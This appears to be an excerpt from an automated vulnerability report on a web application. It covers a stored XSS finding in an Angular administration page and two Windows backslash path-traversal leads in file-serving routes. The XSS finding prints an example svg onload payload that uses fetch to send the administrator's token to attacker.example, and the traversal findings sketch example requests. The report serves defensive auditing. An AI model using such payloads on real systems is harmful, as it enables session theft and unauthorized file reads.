3 additional call site(s) collapsed during dedup — same root cause; each location needs the same fix applied. Feedback records returned by FeedbackService.find() enter the administration component at lines 87-89. Each untrusted feedback.comment is passed directly to DomSanitizer.bypassSecurityTrustHtml at line 91, which suppresses Angular's normal sanitization. The trusted value is then rendered with [innerHTML] at administration.component.html:60. AdminGuard limits who can view the page but does not protect the administrator from attacker-controlled stored content. A feedback author can execute arbitrary JavaScript in an administrator's browser when the administrator reviews feedback. This exposes the administrator's token and permits privileged actions under the administrator's identity. An attacker stores the feedback comment <svg onload="fetch('https://attacker.example/admin?t='+enco…
cwe CWE-79at frontend/src/app/administration/administration.component.ts:86scenario dast-revalidationmatched on cwe+filereported as critical
#102infoLikely false positivestatic + liveBackslashes bypass log path validation [CVSS 7.5: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N]
The red-team run tested this static lead (CWE-22) in routes/logfileServer.ts and could not reproduce it — a likely false positive. SAST rated it high; down-ranked.
The externally supplied :file route parameter enters through the unauthenticated route at server.ts:283 and is assigned directly to file at routes/logfileServer.ts:11. Validation rejects only forward slashes, so URL-decoded backslashes and .. components remain accepted. On Windows, backslashes are filesystem separators; therefore path.resolve('logs/', file) normalizes attacker-controlled traversal components outside the logs directory before the resulting absolute path is passed to res.sendFile(). No containment check or filename allowlist is applied. On Windows deployments, an anonymous attacker can read arbitrary files accessible to the service account rather than being confined to the logs directory. This can disclose application configuration, database files, private keys, or operating-system files and affect the underlying host. Against a Windows deployment rooted at C:\app, an anon…
cwe CWE-22at routes/logfileServer.ts:9scenario dast-revalidationmatched on cwe+filereported as high
#103infoLikely false positivestatic + liveBackslashes bypass key-file path restriction [CVSS 7.5: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N]
The red-team run tested this static lead (CWE-22) in routes/keyServer.ts and could not reproduce it — a likely false positive. SAST rated it high; down-ranked.
1 additional call site(s) collapsed during dedup — same root cause; each location needs the same fix applied. The unauthenticated /encryptionkeys/:file route is registered in configureApp() at server.ts:278. Express places the decoded path parameter in params.file; serveKeyFiles() rejects only forward slashes, so a value containing Windows backslash separators passes the check. On Windows, path.resolve('encryptionkeys/', file) interprets those backslashes as directory separators and resolves ..\ components outside the intended directory before res.sendFile() returns the resulting file. An unauthenticated attacker can read files outside the encryptionkeys directory when the service runs on Windows. Application configuration, source files, credentials, or other files readable by the service account can be disclosed. Against a Windows deployment, an attacker requests GET /encryptionkeys/..%…
cwe CWE-22at routes/keyServer.ts:10scenario dast-revalidationmatched on cwe+filereported as high